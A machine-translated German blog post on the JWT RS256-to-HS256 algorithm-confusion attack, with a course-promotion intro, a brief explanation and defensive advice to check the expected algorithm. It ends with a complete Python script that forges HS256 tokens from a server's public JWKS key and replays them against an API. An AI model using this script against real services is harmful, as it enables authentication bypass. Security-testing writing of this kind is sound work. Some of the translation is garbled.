JWT: Digital Signature Attack VS MAC Attack

Hallo an alle. Es ist kein Geheimnis, dass OTUS jeden Monat mehrere völlig neue und einzigartige Kurse startet, diesen Monat den Pentest. Penetrationstestpraxis . Nach einer gut etablierten Tradition teilen wir Ihnen am Vorabend des Kursbeginns die Übersetzung von nützlichem Material in diese Richtung mit.





Während des letzten Pentests bin ich auf ein Autorisierungsschema gestoßen, das auf JSON Web Token (oder nur JWT) basiert. JWT besteht aus drei Teilen: Header, Nutzlast, Verifizierungsinformationen. Der erste Teil des Headers enthält den Namen des Algorithmus, der später für den Überprüfungsteil des JWT verwendet wird. Dies ist gefährlich, da ein Angreifer diese Informationen ändern und so (möglicherweise) steuern kann, welches Schema der Server zur Überprüfung verwendet.

Zwei Schaltungen werden üblicherweise verwendet: RS256 ( Algorithmus für digitale Signaturen ) und HS256 ( MAC-basierter Algorithmus ). Eine völlig unsichere Option wäre ein NULL-Schema: Geben Sie überhaupt keine Überprüfungsinformationen an - leider wurde das NULL-Schema vom Zielwebserver nicht akzeptiert.

Eine kleine Variation des type confusion vom type confusion JWT, die möglicherweise funktioniert, wenn die Serverimplementierung eine Validierungsbibliothek verwendet, die einfach Code wie verify (Token, Schlüssel) aufruft und davon ausgeht, dass nur digital signierte Token verwendet werden. In diesem Fall ist der zweite Parameter „Schlüssel“ immer öffentlich und wird zur Überprüfung angezeigt (digitale Signaturen verwenden den privaten Schlüssel zum Erstellen einer Signatur und den entsprechenden öffentlichen Schlüssel zum Überprüfen der erstellten Signatur).

Jetzt kann der Angreifer den öffentlichen Schlüssel erhalten, ein neues MAC-basiertes Token erstellen und damit einen Teil der Überprüfung dieses Tokens erstellen. In einem MAC-basierten Schema wird nur ein geheimer Schlüssel benötigt, um Verifizierungsinformationen zu erstellen. Daher verwendet der Angreifer einen öffentlichen Schlüssel (digitale Signatur) als geheimen Schlüssel für den MAC. Wenn dieses Token jetzt zur Überprüfung an den Server übergeben wird, identifiziert die Bibliothek das Schema, das für das Token verwendet wird (das vom Angreifer als HS256 festgelegt wurde und auf das MAC-Schema verweist). Die Bibliothek verwendet den zweiten Parameter als Eingabe, um den MAC zu erstellen. Da dies ein öffentlicher Schlüssel ist, stimmt der neue MAC mit dem MAC überein, der an die Angreifer übertragen wurde, und da diese übereinstimmen, akzeptiert der Server ein gefälschtes Token. Was sollte der Anwendungsentwickler dann tun? Wenn das Token vom Server akzeptiert wird, sollte der Server immer prüfen, ob der verwendete Algorithmus mit dem ursprünglich vom Entwickler geplanten übereinstimmt.

Theoretisch sollte dies leicht zu überprüfen sein, aber ich habe kein funktionierendes Werkzeug gefunden. Deshalb habe ich selbst ein Python-Skript geschrieben. Um es zu verwenden, müssen Sie im Quellcode die folgenden Konfigurationen verwenden:

  • jwks_url : Wo kann ich Informationen über den öffentlichen Schlüssel erhalten jwks_url JWKS wird von vielen Diensten verwendet, um wichtige Informationen offen zu verbreiten.
  • operation_url : Eine HTTP-GET-Anforderung, die ein JWT-Token zur Autorisierung verwendet.
  • token : Eine gültige JWT für eine konfigurierte Operation.
  • audience : Die Zielgruppe, für die das Token konfiguriert wurde.

Das Skript führt Folgendes aus:

  • Laden Sie die JWKS-Konfigurationsdatei herunter und rufen Sie die Einstellungen für den öffentlichen Schlüssel ab. Daraus wird eine PEM-Darstellung erstellt.
  • Stellt sicher, dass das konfigurierte Token mithilfe des extrahierten öffentlichen Schlüssels überprüft werden kann.
  • Führt eine konfigurierte Operation mit einem gültigen Token aus und zeigt den empfangenen HTTP-Statuscode und das resultierende Dokument an (es wird angenommen, dass dies JSON ist).
  • Erstellt ein neues Token basierend auf dem konfigurierten. Im neuen Token wird der Typ in HS256 geändert. Ein MAC (basierend auf einem offenen Schlüssel) wird berechnet und als Überprüfungsinformation für das Token verwendet.
  • Führen Sie den konfigurierten Vorgang erneut mit dem geänderten Token aus und zeigen Sie den HTTP-Statuscode sowie das zurückgegebene Dokument an.

Da der Rückgabestatuscode (mit einem geänderten Token) 401 war (Autorisierung ist verboten), funktionierten Autorisierungsprüfungen auf der Seite des Zielservers und wurden daher durch den Signatur-gegen-Mac-Angriff nicht gefährdet. Wenn dies funktionieren würde, würden identische Statuscodes und ähnliche resultierende Dokumente mit beiden HTTP-Aufrufen (sowohl mit dem Original als auch mit dem geänderten Token) erstellt.

Ich hoffe, dieser Artikel hilft Ihnen bei Ihrer Pentest-Übung. Verwenden Sie das Python-Skript gerne:

 import jwt import requests from jwcrypto import jwk from cryptography.x509 import load_pem_x509_certificate from cryptography.hazmat.backends import default_backend # configuration jwks_url = "https://localhost/oauth2/.well-known/jwks.json" operation_url = "https://localhost/web/v1/user/andy" audience = "https://localhost" token = "eyJh..." # retrieves key from jwks def retrieve_jwks(url): r = requests.get(url) if r.status_code == 200: for key in r.json()['keys']: if key['kty'] == "RSA": return jwk.JWK(**key) print("no usable RSA key found") else: print("could not retrieve JWKS: HTTP status code " + str(r.status_code)) def extract_payload(token, public_key, audience): return jwt.decode(token, public_key, audience=audience, algorithms='RS256') def retrieve_url(url, token): header = {'Authorization' : "Bearer " + token} return requests.get(url, headers=header) # call the original operation and output it's results original = retrieve_url(operation_url, token) print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json())) # get key and extract the original payload (verify it during decoding to make # sure that we have the right key, also verify the audience claim) public_key = retrieve_jwks(jwks_url).export_to_pem() payload = extract_payload(token, public_key, audience) print("(verified) payload: " + str(payload)) # create a new token based upon HS256, cause the jwt library checks this # to prevent against confusion attacks.. that we actually try to do (: mac_key = str(public_key).replace("PUBLIC", "PRIVATE") hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256") # call the operation with the new token modified = retrieve_url(operation_url, str(hs256_token)) print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json())) 

Das ist alles. Wir warten auf alle, die bis zum Ende in einem kostenlosen Webinar zum Thema "Wie man anfängt, Fehler im Web zu beseitigen " gelesen haben.

Source: https://habr.com/ru/post/de467015/


All Articles